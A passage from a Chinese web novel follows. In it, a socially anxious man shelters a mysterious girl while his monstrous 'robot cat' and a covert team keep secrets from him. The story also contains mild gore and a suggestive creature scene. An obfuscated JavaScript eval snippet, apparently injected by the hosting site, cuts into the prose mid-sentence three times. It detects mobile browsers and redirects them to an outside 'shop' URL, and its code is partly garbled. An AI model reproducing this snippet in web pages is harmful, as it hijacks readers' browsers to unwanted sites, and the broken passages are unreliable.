“放心吧,哥!保证完成任务!” 裴青青坐在章扬旁边看他玩,偶尔还指指屏幕:“小哥哥,我们往这里走好不好呀?” 章扬:“行,那就走这边!” 裴青青:“哇哦!小哥哥你好厉害!好会走路哦~~~” 章扬:“嘿嘿,是吗~~~其实我也这么觉得~~~~” 章扬已经在那一声声“小哥哥”中彻底迷失自我,快被哄成胚胎了。 可怜的黄毛,被小孩姐玩弄于股掌之中。 看透一切的安浔默默离场,准备继续工作。 但他半只脚刚出办公室,身后就传来了裴青青的呼唤:“等一下,大哥哥!” 完蛋。 啊啊啊啊啊啊啊怎么还是被叫住了! “什么事……?” 安浔转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569259|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,一脸视死如归。 但裴青青只是朝他狡黠地笑了笑:“大哥哥,你知道你的右耳垂上有颗痣吗?” “是吗?” 安浔愣了愣,抬手摸摸自己的耳朵,“……这我倒是没注意。” 裴青青盯着他的耳垂看了许久。最后,她发出了由衷的赞美: “是很好看的一颗痣。” …… ———— 众人就这么忙碌了一天。 结果到下班,裴青青的父母也没动静。 阮明婕:“电话打了十几次了,都没接通。程蔼烧的不省人事,我和章扬今天也住宿舍,要不你送小孩去警局?” 安浔:“……” 无论是送孩子,还是去警局。都很令人窒息。 社恐试图找个理由推脱: “就、好歹我也是个成年单身男性,一个人骑车载着小女孩不合适吧……?” 阮明婕轻笑了一声。 “就你?你有什么坏心思?能有什么不合适?” 安浔:“。” 明明被夸了。 但总觉得其实是被骂了。 章扬在一旁点头附和: “是啊是啊,哥人品超好的,我们都相信你!” 安浔:“……” “章扬,你什么时候开始住员工宿舍的?” 阮明婕经常住宿舍他是知道的。程蔼通常不住,只有午休时会回宿舍待一会。 怎么章扬也住在这里了? 被问到这个问题的时候,章扬突然卡了壳。 “我想想哦。”章扬沉思了一下,“好像是……29号?我来这里工作的第一天,就住下了。” 安浔:“?” “那你30号为什么没来上班?” 整个单位就他一个人。 阮姐轮休,程蔼翘班。 偏偏5月30号还发生了一堆麻烦事,害得他在客户面前急的团团转!!! 但章扬的表情比安浔还困惑。 “是啊……为什么呢?我没什么印象了,可能是跑哪玩去了?”章扬挠挠头,不确定道。 安浔:“……” 算了。不重要。 他看向这一整天被伺候的吃好喝好的裴青青,小声问:“那你跟我走?……可以吗?” 裴青青兴奋地点点头。 “好呀好呀!” “带我离开吧,大哥哥~!” 就这样,安浔骑着小电驴,载着裴青青出了墓园。 快进市区时,他在道边见到了压马路的陈羿川,明显是在等他。 挺好,这回穿裤子了。 陈羿川给他递来一个文件夹。 是早上说好的,让他帮忙捎给Prayer的游戏线索。 安浔把东西收好。 陈羿川看向他身后,顿时如临大敌:“这从哪来的!!?” 安浔转身看了看坐在后面的裴青青。 “我也不知道。” “所以我准备送警局去。” 陈羿川:“?” 他瞪大眼睛:“你不知道还敢带出来!!??” 安浔:“?” 他眨眨眼睛:“就是不知道才要带出来啊?” “……” 陈羿川咬紧牙关,劝阻道:“你听我说。你把这‘小孩’留给我,我替你送警局去,行不行?” 安浔:“……?” 安浔:“!!!” 他意识到哪里不对劲了! 他好像被Prayer骗了! 安浔恍然大悟:“你和Prayer其实是一伙的!” “是啊……”陈羿川叹了口气,表情总算和缓了一点,“你终于发现了吗?” 安浔的脸色一片煞白。 他想起昨晚人贩子敲他家大门的事,而那个人正是Prayer!原本以为是误会,现在看来他其实是被套路了!! “所、所以你们诱拐老人不成,现在要对小孩下手吗!?” 陈羿川:“……?” “不是?你听我说,你身后的根本不是——” “不行!我不允许!!!” 安浔吓得一把护住孩子,飞快拧下转把。车轮在地面尖啸,小电驴以迅雷不及掩耳之势,咻地一下窜了出去—— “………………” 陈羿川站在风中凌乱。 他闭了闭眼,很命苦地蹭掉小电驴扬过来的满脸灰。 真是活爹啊。 太好了。擎安市没救了。 16. 中门对狙 (16) 安浔冲进市区没多久,手机就响了。 他掏出手机。 一看来电人,差点把手机甩掉。 来电人:Prayer 头像是个抽象风的线条小人,双手张开像在做法。身前立着一支笔,下方配文:笔自己写歌。 安浔:“……” 微.信初始铃声滴滴滴的响着,他果断按下了挂断键。 吓死了吓死了! 陈羿川和Prayer是一伙的,现在Prayer肯定知道事情败露了!一会把裴青青送警局去顺便把Prayer的事和警察也说了! Prayer,对不起了! 虽然你的歌很好听……但做人要有底线!!! 滴滴滴滴滴滴—— 手机又响了! 还是Prayer打来的! 安浔再次挂掉。 滴滴滴滴滴。 挂掉。 滴滴滴滴。 挂掉。 滴。 挂。 就这么持续了一会。 安浔:“。” 好执着的人贩子! 你有这个毅力,你去琢磨怎么写歌早进总决赛了!!! 开车本就麻烦,安浔一边维持平衡,一边在Prayer打过来下一个电话前果断拉黑。 这下终于清净了。 车子有点摇晃。 裴青青在后面抓紧了安浔的外套,“大哥哥,是谁在给你打电话啊?” 安浔咬紧牙关:“是一种比黄毛还邪恶的生物——‘白毛’!” “白毛?” 裴青青拍拍安浔的后背,示意他回头:“是追在我们身后的人吗?” 安浔:“?” 他向后一瞥。只见不远处,一台闪亮的火红色摩托炸街般从转角追来! 引擎的嗡鸣声穿梭过整条街巷,坐在上方的人压低重心,以及其标准的姿态全力加速。 这本应是个酷炫的画面。 但因为风太大了,所以驾驶者本人的银白色头发在空中糊了满脸! 像那什么潦草小狗。 “安浔!!!” Prayer甩开挡在脸前的头发,怒气冲冲,呲牙大吼:“你为什么拉黑我!!!!” 他们距离少说也有五十米,但洪亮的呐喊声几乎穿透安浔的鼓膜。 不愧是唱歌的。 喊起来就是有劲。 安浔没想到Prayer这么快就追来了! 他吓得将小电驴的转把拧到最顶端,一边嘱托身后的裴青青抓紧自己,一边朝身后回绝道: “你……你放弃吧!!别想追上我们——!” 他逃。 他追。 追上了。 因为前面是红灯。 安浔:“……” 严祈明放慢摩托的速度,缓缓停在安浔旁边,与之并排。 他将手往档位表前懒洋洋地一搭,侧过头不爽地盯着安浔: “什么意思?见了我就跑?难道外面的穷鬼没给你钱??” 安浔朝旁边躲了躲,回避开视线,“你们……都是人贩子。” 严祈明:“?” “我今早就想问了,你为什么一见面就喊我人贩子?” 他拢起头发,抬手指指自己那张轮廓分明、五官优越的脸,差点气笑: “兄弟,我就算混不下去了,起码也能靠这张脸吃上饭,没必要做那种下三滥的事。你对我是不是有什么误解?” 安浔皱了皱眉,并不相信这番说辞。 “那你昨晚敲我家门做什么?” 严祈明:“登记。确认你家几口人。你今早不是收到食物和生活用品了吗?还塞给配送员三百块钱。” 安浔愣了愣。 冷静下来一想,对方说的好像也有道理。否则解释不清Prayer为什么知道他今早收到了超市送来的外卖。 难道是他误会了? Prayer其实真的在录制节目? “所以,”安浔的表情一言难尽起来,“你拍的什么节目?怎么还要给超市打工?” 严祈明:“…………” 他闭了闭眼,迅速接受了这个设定。 “这你别管,我们都签保密协议的,不能提前剧透。” “那陈羿川怎么回事?” 安浔还是半信半疑,指了指身后的裴青青:“陈羿川在路边把我拦下来,说要替我把这个孩子送到警局去。” 严祈明的眉头挑了一下。 他的目光逡巡向安浔身后,又不动声色地移开,恍然大悟似的: “噢,你说小陈啊。” “这孩子打小就正直勇敢、乐于助人,他说想帮你,那就是真的想帮。他是不是太热情了,所以吓到你了?” 啊这。 原来是这样…… 安浔回忆了一下陈羿川的话。 仔细一琢磨,好像确实是他先入为主了。对方明显是在关心他,他却把这一切都视作了欺骗。 安浔默默叹息。 社交真的好难啊…… 说者无意,听者有心。随口一句话,可能就会造成意想不到的误会。 好在Prayer即时追上他,把事情说清楚了。这么一想,还挺对不起他们的。 “抱歉啊……看样子好像是我误会你们了。” 安浔低下头,有点愧疚地掏出陈羿川给他的文件,“这是陈羿川拿给你的,没耽误你们拍摄行程吧?” “没耽误。”严祈明抬手接过,朝他笑了笑,“谢谢你啊,帮大忙了。” 红灯的倒计时结束了。 指示灯转为绿色,安浔拧下了转把,朝Prayer挥挥手: “我这边还有急事。那……我先走了?” “安浔!” Prayer叫住了他。 安浔侧过头。 只见银发青年朝他晃了晃手机:“记得把我从黑名单放出来——!” 安浔想起章扬今天对他做的手势,像模像样地抬起手,回给Prayer一个“ok”。 小电驴逐渐隐没于黄昏中。 望着离去的安浔,严祈明收起刚才悄悄掏出的侵蚀系数勘测仪。 “严组长,就这么放他走了?” 一名下属从远处的路灯下悄然走出。 下属神情凝重:“他身边带着的小孩……是蚀体?” “是。但不完全是。” “目前来看,并不算危险。” 严祈明沉思了一会。 “[茧幕]外面的陈小队长太心急,明显让他起疑心了。我这时候再想扣住那个小姑娘,事情必定会暴露。” “但严组长,我不明白。” 下属困惑道:“我们为什么不直接告诉安先生擎安市被蚀体入侵了?” “我不能赌。”严祈明说。 “他现在能保持着乐观的心态往返于市内外,正是因为他还不知情。但如果我告诉了他真相,你认为一切还会像现在这样吗?” 下属陷入沉默。 “无数普通人遭遇蚀体袭击,不是当场殒命,就是落得严重的精神疾病或心理创伤。现在这座城市中,只有安浔能进出自如。我很怕知道真相后的他,会变得惶恐不安、踟蹰不前。” 严祈明的声音逐渐嘶哑。他刚才喊的太用力了,嘴里都多了些铁锈味。 他清了清嗓子,继续道: “我知道这对安浔本人不公平……但为了这座城市的140万人,我们没得选。维持现状,尽力确保他的安全,是如今最好的选择。” 下属望着他疲惫的模样,有些不忍:“组长,今天好好休息一下吧。你昨天只睡了两个小时。” 严祈明朝他摆摆手,示意自己没事。 “还有事情要办。” 他下了一道指令。 “从今天起,安排一批特派专员跟在安浔身边。一定要想方设法、不留余力地营造出一切尚未发生的假象。 “不能让他察觉到,这座城市早已异变。” …… ———— 叮。 电梯上升到十四层,大门缓缓展开。 安浔从电梯走了出来,身后跟着满脸兴奋的裴青青。 结果,他还是没能把裴青青送到警局。 他前脚刚和Prayer告别,安静乖巧了一路的裴青青就闹腾了起来——小丫头哭着喊着说自己肚子饿了,还浑身脏兮兮的,想洗热水澡。 安浔盯着她凌乱的头发,还有踩在山林溅了满满一腿的泥,终究于心不忍,把她领回了家。 毕竟,他既不敢任由裴青青闹,把她强制送进警局,也不敢把裴青青丢路边。 唏嘘。 他这窝窝囊囊的一生.jpg 裴青青从石棺里出来的时候连鞋子都没穿。 现在她穿的还是阮姐放在单位的拖鞋。 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569260|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是成年女性的鞋码,对她而言也非常大。她走起路来很费劲,鞋子啪嗒啪嗒地拍打着地面,像企鹅在陆地摇摇晃晃地行走。 安浔盯着看了一会,说:“等我明天给你买双合脚的鞋子。” “好呀!”裴青青朝他微笑起来,“谢谢你,大哥哥。你人真好~” 安浔有点不好意思:“没事的……” 他掏出钥匙,拧开门锁。 防盗门刚打开,他就在玄关口看见了在等他的小圆。 猫猫布丁直挺挺地朝那一立。 见到他时,却并没有展现以往的热情,连语调都显得十分生硬: “你回来了。”年轻的男音平平淡淡。 “你身边跟着的,是谁——?” 安浔:“。” 他突然想起了什么。 瞬间汗流浃背。 啊啊啊啊啊啊啊! 他出门的时候,答应过小圆绝对不带外面的猫猫狗狗回家!!! 这下好了! 确实没捡猫狗!! 捡了个人回来!!! 安浔:“就、那什么,单位带回来的。可能要在家里待一天,明天我就送她去警局……” 他可怜巴巴地站在门口。 “小圆,我可以带她进去吗qwq?” “这是你家,想进就进。我说的又不算。”小圆冷哼了一声,转身走开了。 安浔:“!!!” 明明是AI机器人,却比他还会阴阳怪气!!!! 他低头看了看裴青青,小声道:“那……你先进去?” 裴青青点点头,在门口换了鞋,很新奇地打量起这栋小房子。 其实就是很普通的住所。 房子本身是老破小,安浔也没有余裕做太多装修。但好在他爱干净,平时不上班的时间基本都待在家里,没事就会做做家务,所以客厅非常整洁,充斥着空气清新剂的淡香。 “不好意思,我家的猫……嗯,你就理解成是猫,它比较认生。”安浔解释道。 小圆看起来很生气。 虽然裴青青不是小猫小狗,不能算作他违背承诺。但生人来到家里,小圆会不舒服也正常。 毕竟。 他也很不舒服。 哪个社恐会因为家里多个人而感到舒服啊!!! 不过,还是要找个机会和小圆聊聊。 今天Prayer才给他上了一课。人想要了解彼此的想法,必须要张嘴交流。 虽然小圆是个猫猫布丁,但也需要交流!!! “你先去沙发坐,稍等我一下。”安浔朝沙发指了指,转身进了旁边的卫生间。 裴青青乖巧地点点头。 待安浔走进卫生间,关上门,她便双手背后,蹦蹦跳跳地迈向沙发边。 沙发上窝着一只黑紫色布丁团子。 虽然没有五官,显示不出情绪,但它粗长的尾巴在身后烦躁地扫荡着,平等拍打能触碰到的每个靠枕。 啪。 啪。 啪。 一砸就是一个坑。 靠枕们像打糕一样,被打的奇形怪状。 裴青青很感兴趣地看了一会。 她蹲下身,双手托腮,朝小布丁扬起一道意味深长的笑。 裴青青:“他说你是猫诶。” 小圆停止了用尾巴发泄,平时总是扬起的w型小猫嘴变成了一条平直的线,看起来冰冷而强硬。 “那又如何?”小圆冷冷反问。 裴青青嬉笑了一声。 “也没什么。就是提醒你一下,小猫在人类眼里,是宠物的代名词。” 她朝小圆歪歪头:“所以在大哥哥眼里,你也是一只小宠物。” 小圆:“###” 啪!!!!!! 它的尾巴狠厉一甩。 旁边的一排靠枕全都爆出了棉花芯。 安浔拿着全套未拆封的洗护用品,从卫生间走了出来。 “这些给你洗澡用,你看下可不可……” 安浔:“。” 望着沙发上的一片狼藉,他陷入了沉默。 裴青青有点惊慌地站起来,正要指认犯人,小圆却抢先一步道: “安浔!你终于回来了!” 它一跃而起,跳到安浔肩膀上,把尾巴甩到身前,朝裴青青恶狠狠地一指—— “她好坏喔!” “趁你不在,把靠枕全弄坏了!” 裴青青:“?” 17. ☆☆☆☆☆ (17) 哒哒哒。 安浔正在切菜。 一旁的锅中咕嘟咕嘟冒起气泡,番茄汤汁的香味浓郁扑鼻,安浔把提前焯过的牛腩放入锅中,盖上了锅盖。 不久之前,发现自己的靠枕全部沦陷时,安浔一句话都没说。 只是执行力非常强且情绪稳定地把沙发收拾好,随后翻出一件没穿过的睡衣,把浴室借给了裴青青。 今天家里来了小孩,做饭不能太糊弄。 安浔准备做下一道菜时,小腿突然一冰——某种柔软的物体一圈一圈绕在了他的脚踝,像是爬藤植物。 安浔低头,是小圆的尾巴。 “怎么了,小圆?” “裴青青弄坏了你的靠枕,你为什么不生气?”小圆闷闷地问。 尾巴也随之用力收束。 那条细长的小腿像被强行戴上了腿环,裹紧的地方被勒出少许泛红的肉。 小圆在置气。 又或者是像小动物一样,在自己的领地上宣誓主权。 安浔没阻止小圆。 虽然他有种在给腿测血压的感觉。 他轻声回答:“因为是客人嘛,总不能对客人发脾气。” “那我呢?”那道好听的男音透着委屈,“如果靠枕是我弄坏的……你会怎么做?” 安浔仔细思考了一下。 “唔……那就买你喜欢的新靠枕放在沙发上?” 小圆一愣。 安浔接着说:“你弄坏靠枕一定是不小心的,毕竟这里也是你家嘛。如果是有意的,那恰恰证明你不喜欢这些靠枕,我们去换上你喜欢的就好啦。” 小圆:“///w///” 尾巴悄悄收回去了。 “这样喔……” “那好吧~” 小布丁的猫猫嘴疯狂上扬。 它圆滚滚的半透明肚皮下,细碎的星光变亮了许多。那片深不可测的漩涡中,光芒在裂变,一瞬间冒出了更多星星。 冒星星。 变亮。 冒星星。 变亮…… 安浔边起锅烧油,边解释道: “对不起,小圆。工作所需,所以裴青青只是我从单位带回来……” 嘭!!! 光芒乍现! 一瞬间,整个厨房都被刺眼的白光笼罩! 安浔:“????” 他眯起眼睛,依稀确认光源来自脚边。 黑紫色布丁爆发出灼目的强光!光芒四射!像颗闪耀的灯球! 冒星星☆~ 变亮~ 冒星星☆~ 变亮~ 安浔:“……小圆。” 小圆:“嗯嗯,怎么啦☆~” 安浔:“麻烦把手电筒关一下。” 居然有照明模式! 小圆你还是太全面了!!! …… 晚餐很快就做好了。 安浔做了三道菜:番茄牛腩、蛋黄鸡翅、蚝油生菜,还自制了饭后甜品椰奶西米露。 安浔很少这么正式地准备晚餐,看着摆满餐桌的各种菜式,心中满满的成就感。 他用手机拍了几张照片。 犹豫了一会后,打开了朋友圈。 他列表里就几个人。 但朋友圈里大家都丰富多彩。 尤其是阮姐,非常喜欢分享自己的生活。 她常发各种旅游美食九宫格,偶尔还会分享自己的cos照。比如眼前这张,她出了某个人气很高的二次元男角色,旁边穿着洛丽塔的双马尾“小美女”是她老婆。 其实还挺般配的。 就是看完之后会敬畏+1+1+1+1+1…… 这些安浔都看过了。 阮姐挺喜欢发朋友圈的,经常一天七八条,但最近三天竟然都没发朋友圈。 安浔往下划了划,看见了Prayer和陈羿川。 5月28日。 Prayer发了张和Duang大一只萨摩耶贴贴的自拍,上方配字:儿啊,爸要去休假了!你一只汪在家要照顾好自己! 也是5月28日。 陈羿川转发了一条某大学社团活动推文,上方配字:补二课分!(抓狂)(抓狂)(抓狂)我怎么还没补完救救我救救我! 感觉大家都有自己的生活。 安浔思考了一会。 最后还是点开右上角的图标,跳出几张还算精致的饭菜照,怀揣着忐忑的心情发出了他人生中的第一条朋友圈。 照片刚发出去他就删了。 又赶忙点开相册,重新给照片挑选滤镜,还p上了卡通贴纸,重新回到朋友圈编辑文字:今日晚饭(比耶)。 这才略微安心地点了发送。 估计也没人看。 安浔把手机收起来,裴青青正好从浴室走了出来。 “哇,好香呀!” “大哥哥,我们开饭了吗?” 裴青青已经洗完澡了。 身上的泥点全洗净了,头发吹的很干,一头茂密乌黑的直发散在脑后。 所幸这是个小孩姐,有较强的自理能力,否则安浔还真不知道怎么帮她。 “来吃吧。” 安浔给她盛了碗米饭。 裴青青接过米饭,看一眼桌上的菜,抬头问:“大哥哥,你家里有辣椒酱吗?” 安浔愣了愣:“你喜欢吃辣?” “是呀。”裴青青点点头,“超级喜欢。” 安浔扭头从橱柜翻出一罐牛肉辣椒酱。 他原本想着小孩肠胃不好,吃不了辣椒,晚饭特意一点辣都没放。 “抱歉啊……” 他把罐子拧开,递给了裴青青,“是我忘记问你想吃什么了。” “没关系~”裴青青朝他笑了笑,“大哥哥做的菜很香,是我给你添麻烦啦。” 一顿饭几乎无言。 小孩姐吃饭时很安静,小小年纪用筷子也利落。安浔最初是想给她拿勺子的,结果人家根本用不上。 快吃完时,安浔突然想起一个问题。 “那你是不是还不喜欢甜品?” 他给章扬的那一兜零食全是咸辣口味的,被裴青青吃的一干二净。而他早上急忙去东七路街买的巧克力和黄油饼干,裴青青却只咬了一小口,就嫌弃地放回去了。 “你发现啦?” 裴青青咯咯笑了起来,开始如数家珍: “我还不喜欢玩具熊、不喜欢可爱的花、不喜欢海绵宝宝。我喜欢吃辣的、喜欢玩游戏、喜欢钢铁侠。” 裴青青放下碗筷,静静地盯着他。 “但妈妈把我书架上的英雄手办偷偷丢掉,换成了迪士尼公主。把我衣柜里的棒球衫收起来,换成了公主裙。他们从来不让我吃任何有辣味的东西,说会闹肚子,我只能偷偷吃。” “大家都说,女孩子不能这样不能那样——但是,女孩子应该什么样?” 安浔沉默了一会。 连他也没能从这番话中幸免。 他特意做了饭后甜品,只是因为他觉得,小女孩会喜欢吃。 再多的解释和道歉,在此刻也显得苍白无力。 “明天。”安浔说。 “明天我轮休,不上班。” “送你去警局之前,你有什么想去的地方吗?我……” 安浔咬咬牙,直接豁出去了:“我可以带你去。” 裴青青瞬间两眼冒光。 她双手合十,崇拜道:“哇~大哥哥你人也太好了吧~” 裴青青:“那我想看电影。” 安浔点点头。 裴青青:“还想吃火锅,要中……不!特辣!” 安浔又点点头。 裴青青:“还要吃烤肉逛小吃街去游戏厅上网吧玩射箭blabalabalabala……” 安浔:“…………” 好像不知不觉间,又被小孩姐拿捏了。 “网吧不行。” 安浔正直道:“未成年人不能去。” “切。”裴青青撇撇嘴。 晚餐结束,安浔含泪吃了两碗椰奶西米露。 真香。 不懂甜品的有难了。哼。 洗碗放水的功夫,安浔扫了一眼朋友圈,发现居然真有人给自己点赞。 是Prayer。 安浔点开瞅了瞅,对方给他留了条评论:安大厨手艺真不错!什么时候能去你家蹭顿饭?(呲牙笑) 安浔:“……” 这人还挺自来熟的。 但是婉拒了哈,^q^求求放过社恐。 安浔礼貌地给评论回了个赞,刚要放下手机,一条微.信消息就跳了出来。 还是Prayer。 顶着那个抽象头像问:干嘛呢? 好久没用微.信给人回复过消息了。 安浔紧张的心脏怦怦跳。 但好在不是面对面说话,他只要打字就行。 【安浔】:刷碗。 【Prayer】:噢,你吃完饭了? 【安浔】:嗯。 【Prayer】:我也刚吃完 【安浔】:嗯嗯。 “…………” 遥在数公里外的办公室中,还没收拾桌上的泡面碗的严祈明陷入沉默。 救命! 这人不是挺爱说梦话的吗?怎么回消息跟崩豆似的!!! 他这种高浓度E人并不知道,这三句话已经是安浔绞尽脑汁的高情商回复。 严祈明不久前安插了一些人混入鑫和小区,远程监视着那户房子的动静。目前来看,安浔还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569261|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是安全的。 但是,那个蚀体…… 为什么要跟安浔回家? 他正准备再找点话题旁敲侧击,没想到手机震了一下。 【安浔】:你对擎安市熟吗? 严祈明:“……” 问一个来休假的外地人对擎安市熟不熟。 你说呢? 嗡嗡。 手机又响了。 【安浔】:就……有没有那种,可以同时满足购物、看电影、打台球、玩街机、有小吃摊、烧烤店、火锅店并且人流量比较少,附近还有警局的商业街? 严祈明:“…………” 搁这叠buff呢? 没有的,亲。 你们市里的街道都是空的,不仅没人,可能还有蚀体出没。 严祈明点开键盘,敲敲打打。 【Prayer】:你要出去玩? 【安浔】:嗯,明天带孩子。 【Prayer】:有的,兄弟,有的。 严祈明咬咬牙,拨通了下属的手机号。 “喂,小何啊。啊对,要再加一批人手,顺便还要借个商业街用一两天,帮我挑挑位置,我把要求发给你……” 安浔很快收到了严祈明发来的位置分享。 这条商业街完美符合他的要求,商业街对面就有警察局,离他家7公里,骑车大概二十分钟。 说不上近,但也不算远。 稍微往远走走也挺好的。 他来擎安市两年多了,除了家和单位,几乎没有去过其他地方。 安浔在输入栏打上了“谢谢”二字,旁边自动跳出了几个表情包。 安浔想了想,选了白色小狗礼貌鞠躬的那张。 【Prayer】:不客气XD 安浔松了口气。 不管怎么说,这也算是在社交上又踏出一步吧。 他回到聊天列表,一路划到最下面,盯着最底端的初始头像用户看了一会。 “你会给我点赞吗?” 他小声问。 ———— 入夜。 安浔在沙发铺好褥子。 家里只有一张床,卧室理所当然地让给了裴青青。 小圆蹦跶到沙发上,尾巴在身后欢快地摇啊摇,已经做好了充电的准备。 “哦,对了。” 望着空无一物的沙发,安浔抬头问道: “小圆,我明天要去商业街,你和我一起去吗?” 小圆抬起头:“逛街?” 安浔:“对。刚好靠枕都坏了,干脆挑几个你喜欢的回来……” 小圆:“好喔~~” 小圆:“☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆~~~” 好多星星!! 好闪!!! 安浔默默阖上被亮瞎的眼睛。 “……你别激动。” “先把手电筒关了。” 午夜时分。 安浔已在沙发上酣眠。 他睡觉很老实,几乎不会动,一截白皙的大腿蜷在被褥外面。 突然,某种半凝固的液体攀至沙发边缘,悄悄勾住了他的腿。 地板上,黑紫色的小猫布丁正向外溢散着黑泥,当黑泥从壳子全数涌出后,地板只徒留一具了无生息的金属躯壳。 黑泥没有形状。 只是涌动着身体,慢慢钻入被褥,一点一点覆盖上熟睡的人类。 被子逐渐鼓了起来,左右摆动着,翻江倒海。 睡梦中的安浔似乎有点不适,无意识地蹙起眉,隐隐发出几声闷哼。 吱呀—— 卧室的门在这时被打开了。 裴青青光着脚走入客厅。 入目的画面非常刺激,还是有声的。 “唔。” “嗯……” 裴青青:“……” 这是小孩能看的吗? 她瞥到了地上的金属壳子,有点像小猫造型的机器人。 ……还不穿衣服! 噫。真变.态!!! “看什么?”凛冽的男音从被褥下传来。 “——他是我的。” 裴青青连连点头:“知道知道,不和你抢。你吃好了来找我。” “什么意思?说清楚,[溯魂]。” 被褥之下,隐隐探出泥泞的漆黑之物。 仅是瞥了一眼,溯魂的眼珠便倾刻爆裂! 鲜血从她的眼眶汩汩淌出,连着破碎的神经纤维。 溯魂没有痛呼,只是闭上眼睛,平静道: “你在安浔的耳垂上留下了[异迹]。虽然很隐蔽,但我认出来了。” “我跟他回来,其实是为了见你。” “我有件重要的事想问你。” “深渊。” 18. 萎靡 (18) 6月2日上午9:30 “报告严组长,目标即将进入双华商业街。” 当对讲机中传来侦查人员的实时汇报时,严祈明正将双腿搭在办公桌,倚靠在椅子上翻阅手中的档案。 这是一份个人资料。 【姓名:裴青青】 【性别:女】 【户籍:H省擎安市】 【死因:车祸】 【备注:2015.07.08-2022.03.xx,享年8岁。下葬于擎安市麟溪墓园0078号。】 一个死了三年的小孩,突然“复活”了。 怎么想都不可能。 如果没记错的话,这种能力反倒有点像……两年前在蚀体收容区集体失窃的那批蚀体。 严祈明拿起对讲机,按下收声口,回复:“收到,继续跟进,通知所有人做好准备。” …… 双华广场在大从点评的评分是4.5分。作为商业街,这是个还不错的分数。 安浔骑着小电驴进了双华大道。 今天是星期六。 但由于双华广场和市中心还隔着很远的距离,所以人流量较少。 这正中安浔下怀。 毕竟,人多的地方他压根待不下去。 安浔找了个位置停车,裴青青摘下头盔,从后座轻松一跃落到地面。 她脚上还穿着那副宽大的拖鞋,走起路来摇摇晃晃。 “我们先去买鞋吧。” 安浔看向前方冷清的商业街,跃跃欲试,“那里有很多没人逛的服装店。” “等下嘛,大哥哥。” 裴青青指向反方向的小吃街,“我饿了,先吃点东西好不好?” 安浔一扭头。 只见小吃铺一家挨着一家,客人没几个,但狭长的小径拥拥挤挤站满了店家。 这意味着,只要走进那里,就会被所有店家施行注目礼。 安浔:“……” 想亖。 对讲机内,传来了最新汇报:“报告严组长,目标优先进入了小吃街。” 严祈明坐正身子,迅速调出了小吃街的实时监控。 俯视视角下,一行二人正在小吃街走马观花。 穿着白裙子的小丫头蹦蹦跳跳地跑在前面,安浔战战兢兢地跟在后方。 嗯? 严祈明放大视频,注意到安浔的肩膀上有一团肉乎乎的黑紫色圆球。 这什么? ……蚀体吗? 他屏住呼吸,仔细观察起来。 但那团长着猫耳猫尾的黑球从始至终都没动弹过,不像活物。再定睛一看,黑球的尾巴还轻柔地绕在安浔的脖颈上,像围脖。 严祈明蹙了蹙眉,按下收声键:“汇报小吃街的侵蚀系数。” 对讲机很快传来回应:“报告。严组长是0。” 严祈明:“……” 好怪的断句。 看来那只是衣服的装饰。 “有变动立即汇报。” “是!” 裴青青拿到了一盒刚出锅的狼牙土豆。安浔在后面扫码付了钱。 金灿灿的土豆被切成了带波纹的薯条状,表面被炸的酥脆微焦,上面撒满了孜然粉和辣椒面,闻起来很香。 啊呜~ 裴青青满脸期待地把薯条送入嘴中。 嚼嚼嚼。 然后表情从ovo变成了=.=。 裴青青撇了撇嘴,苦着脸,把盒子递向安浔,“你尝尝。” 安浔用额外的木签扎住其中一根,咬了一小口。 土豆是夹生的,进嘴的一瞬间,仿佛把口腔中的水分全都吸干了。 裴青青:“好难吃。” 安浔赞同地点点头:“不会是便衣做的吧?” 裴青青:“嗯?” “网上不是有种说法吗?” 安浔回头瞄了一眼身后的小吃摊,试图幽默一下:“做东西不好吃的小吃摊主,都是警察假扮的便衣。” 不远处的狼牙土豆摊主:“……” 裴青青噗呲笑了起来。 她低头看看这条道路上老旧的地砖,又看看前方一台台无比崭新的小吃推车,大声问道: “那如果一整条街都不好吃呢?” 安浔:“那就一整条街都是便衣!” 其他摊主:“……” 裴青青笑得更大声了。 搞得安浔都想跟着笑。 “不过应该不能吧。” 他老实巴交地挠挠头,“不然图什么?这条街就我们两个客人……总不能是在监视我们吧?” 正在看监控的严祈明:“……” 他爹的,真邪性!!! 逛完小吃街后,安浔带着裴青青去换了一身行头。 小孩姐总算拥有了一双合脚的运动鞋,还穿上了心心念念的棒球服。 付款的时候,安浔盯着旁边的展示橱窗看了一会。 “喜欢就买呗。” 裴青青在一旁鼓舞道:“不能只给我花钱呀,你也要给自己买东西,大哥哥。” 安浔觉得很有道理。 他昨天拼了命地挣外快,不就是为了让卡里多点钱吗? 而钱就是用来花的。 何况他还没在实体店自己买过衣服。 